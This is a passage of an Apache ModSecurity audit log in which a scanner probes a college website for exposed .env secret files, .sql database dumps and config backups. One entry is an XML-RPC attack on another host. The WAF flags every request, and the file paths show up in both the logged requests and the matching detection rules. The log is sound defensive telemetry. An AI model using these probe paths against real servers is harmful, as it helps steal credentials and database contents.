"aE9kcp_Rv4EBtUyS5c4FCwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033522799115 792436 (- - -) Stopwatch2: 1750033522799115 792436; combined=2222, p1=489, p2=1611, p3=0, p4=0, p5=121, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56349201-Z-- --aed0e54e-A-- [16/Jun/2025:05:55:33.851936 +0530] aE9kfdVsbyFDndheOrk0gwAAAAE 185.177.72.210 40832 127.0.0.1 7081 --aed0e54e-B-- GET /pictures/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aed0e54e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e7a0918173211f5e031253b37d2b8b61750033533; expires=Mon, 16 Jun 2025 01:25:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aed0e54e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/pictures/.env"] [unique_id "aE9kfdVsbyFDndheOrk0gwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033533194399 657600 (- - -) Stopwatch2: 1750033533194399 657600; combined=1763, p1=419, p2=1249, p3=0, p4=0, p5=94, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aed0e54e-Z-- --63e8a82b-A-- [16/Jun/2025:05:55:37.914252 +0530] aE9kgQ9THibLN0xLxETvsgAAAAk 185.177.72.210 40972 127.0.0.1 7081 --63e8a82b-B-- GET /:8888/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63e8a82b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=945b067737fc657449447fcf5974ff371750033537; expires=Mon, 16 Jun 2025 01:25:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63e8a82b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/build/.env"] [unique_id "aE9kgQ9THibLN0xLxETvsgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033537204675 709651 (- - -) Stopwatch2: 1750033537204675 709651; combined=1953, p1=388, p2=1468, p3=0, p4=0, p5=97, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63e8a82b-Z-- --9395874f-A-- [16/Jun/2025:05:55:39.953265 +0530] aE9kg9NEcm-DhAkC0ibbywAAAAY 185.177.72.210 41080 127.0.0.1 7081 --9395874f-B-- GET /2008.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9395874f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3fc7c77a5f6c91ee936be6e70b7a91991750033539; expires=Mon, 16 Jun 2025 01:25:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9395874f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2008.sql"] [unique_id "aE9kg9NEcm-DhAkC0ibbywAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033539276090 677238 (- - -) Stopwatch2: 1750033539276090 677238; combined=1699, p1=361, p2=1244, p3=0, p4=0, p5=94, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9395874f-Z-- --2b102b39-A-- [16/Jun/2025:05:55:43.983477 +0530] aE9khy2Tu2VxEl4lA7DcywAAAAw 185.177.72.210 46872 127.0.0.1 7081 --2b102b39-B-- GET /:8080/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b102b39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b958af25c6c4dfa449890db59029db61750033543; expires=Mon, 16 Jun 2025 01:25:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b102b39-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.2"] [unique_id "aE9khy2Tu2VxEl4lA7DcywAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033543312992 670575 (- - -) Stopwatch2: 1750033543312992 670575; combined=1927, p1=422, p2=1394, p3=0, p4=0, p5=111, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b102b39-Z-- --3dc11e1e-A-- [16/Jun/2025:05:55:55.644110 +0530] aE9kkmYZLqtIztZ_Ow_pWgAAAAg 185.177.72.210 59014 127.0.0.1 7081 --3dc11e1e-B-- GET /.env_aws HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3dc11e1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=70db643d47366f2e99065426a8a268c11750033555; expires=Mon, 16 Jun 2025 01:25:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3dc11e1e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env_aws"] [unique_id "aE9kkmYZLqtIztZ_Ow_pWgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033554978632 665544 (- - -) Stopwatch2: 1750033554978632 665544; combined=1895, p1=365, p2=1431, p3=0, p4=0, p5=99, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dc11e1e-Z-- --0d67e36c-A-- [16/Jun/2025:05:56:00.639324 +0530] aE9kly2Tu2VxEl4lA7Dc0QAAAAw 185.177.72.210 37358 127.0.0.1 7081 --0d67e36c-B-- GET /old/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0d67e36c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e6b79afc2461590527885034cbeea1dd1750033560; expires=Mon, 16 Jun 2025 01:26:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0d67e36c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.test"] [unique_id "aE9kly2Tu2VxEl4lA7Dc0QAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033559960206 679195 (- - -) Stopwatch2: 1750033559960206 679195; combined=1709, p1=387, p2=1211, p3=0, p4=0, p5=110, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0d67e36c-Z-- --b3405431-A-- [16/Jun/2025:05:56:04.851014 +0530] aE9knNVsbyFDndheOrk0jwAAAAE 185.177.72.210 37524 127.0.0.1 7081 --b3405431-B-- GET /.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b3405431-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d81fffe457771b84417a8e807b300151750033564; expires=Mon, 16 Jun 2025 01:26:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b3405431-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.suspected"] [unique_id "aE9knNVsbyFDndheOrk0jwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033564131338 719740 (- - -) Stopwatch2: 1750033564131338 719740; combined=2023, p1=423, p2=1499, p3=0, p4=0, p5=101, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3405431-Z-- --e1828e0f-A-- [16/Jun/2025:05:56:07.817199 +0530] aE9kn9VsbyFDndheOrk0kAAAAAE 185.177.72.210 37624 127.0.0.1 7081 --e1828e0f-B-- GET /.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e1828e0f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=96e32b271f68321ae0a9c98e8ea0dff31750033567; expires=Mon, 16 Jun 2025 01:26:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e1828e0f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.c9/metadata/environment/.env"] [unique_id "aE9kn9VsbyFDndheOrk0kAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033567119893 697382 (- - -) Stopwatch2: 1750033567119893 697382; combined=2104, p1=420, p2=1580, p3=0, p4=0, p5=104, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1828e0f-Z-- --9e800649-A-- [16/Jun/2025:05:56:11.935883 +0530] aE9ko_bo0R64L12N_alUTwAAAAQ 185.177.72.210 60858 127.0.0.1 7081 --9e800649-B-- GET /:8443/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9e800649-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d3c2e8fecf5e2352be8bda337bc29b31750033571; expires=Mon, 16 Jun 2025 01:26:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9e800649-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/v2/.env"] [unique_id "aE9ko_bo0R64L12N_alUTwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033571234257 701688 (- - -) Stopwatch2: 1750033571234257 701688; combined=2362, p1=475, p2=1796, p3=0, p4=0, p5=91, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e800649-Z-- --3a0b4748-A-- [16/Jun/2025:05:56:16.466888 +0530] aE9kp9VsbyFDndheOrk0kwAAAAE 128.199.112.101 32788 127.0.0.1 7081 --3a0b4748-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3a0b4748-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3a0b4748-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9kp9VsbyFDndheOrk0kwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033575512150 954793 (- - -) Stopwatch2: 1750033575512150 954793; combined=2189, p1=394, p2=1385, p3=46, p4=66, p5=185, sr=128, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a0b4748-Z-- --3cceeb68-A-- [16/Jun/2025:05:56:26.213174 +0530] aE9ksfbo0R64L12N_alUVAAAAAQ 185.177.72.210 55276 127.0.0.1 7081 --3cceeb68-B-- GET /settings/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3cceeb68-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=315123d7c2a10e509731f9a547ca67cb1750033586; expires=Mon, 16 Jun 2025 01:26:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3cceeb68-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings/config_backup.sql"] [unique_id "aE9ksfbo0R64L12N_alUVAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033585546211 667054 (- - -) Stopwatch2: 1750033585546211 667054; combined=1868, p1=305, p2=1434, p3=0, p4=0, p5=128, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3cceeb68-Z-- --1546ad34-A-- [16/Jun/2025:05:56:31.018471 +0530] aE9ktp16HYQp4eDf7R1VEgAAAAI 185.177.72.210 58360 127.0.0.1 7081 --1546ad34-B-- GET /:8008/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1546ad34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4bab772adfdd73a0dacdce7d1618a9031750033590; expires=Mon, 16 Jun 2025 01:26:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1546ad34-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.5"] [unique_id "aE9ktp16HYQp4eDf7R1VEgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033590339521 679017 (- - -) Stopwatch2: 1750033590339521 679017; combined=1731, p1=389, p2=1246, p3=0, p4=0, p5=95, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1546ad34-Z-- --d089124d-A-- [16/Jun/2025:05:56:33.721353 +0530] aE9kuS2Tu2VxEl4lA7Dc4gAAAAw 185.177.72.210 58526 127.0.0.1 7081 --d089124d-B-- GET /:8880/protokolle/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d089124d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=657b1652a21cf032aa9b9822dc7fa1b71750033593; expires=Mon, 16 Jun 2025 01:26:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d089124d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/protokolle/.env"] [unique_id "aE9kuS2Tu2VxEl4lA7Dc4gAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033593049403 672012 (- - -) Stopwatch2: 1750033593049403 672012; combined=1874, p1=352, p2=1436, p3=0, p4=0, p5=86, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d089124d-Z-- --a431ea30-A-- [16/Jun/2025:05:56:38.339975 +0530] aE9kvZPBc7qQRvHewCtzngAAAAA 185.177.72.210 58680 127.0.0.1 7081 --a431ea30-B-- GET /config.json.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a431ea30-F-- HTTP/1.1 404 Not Found 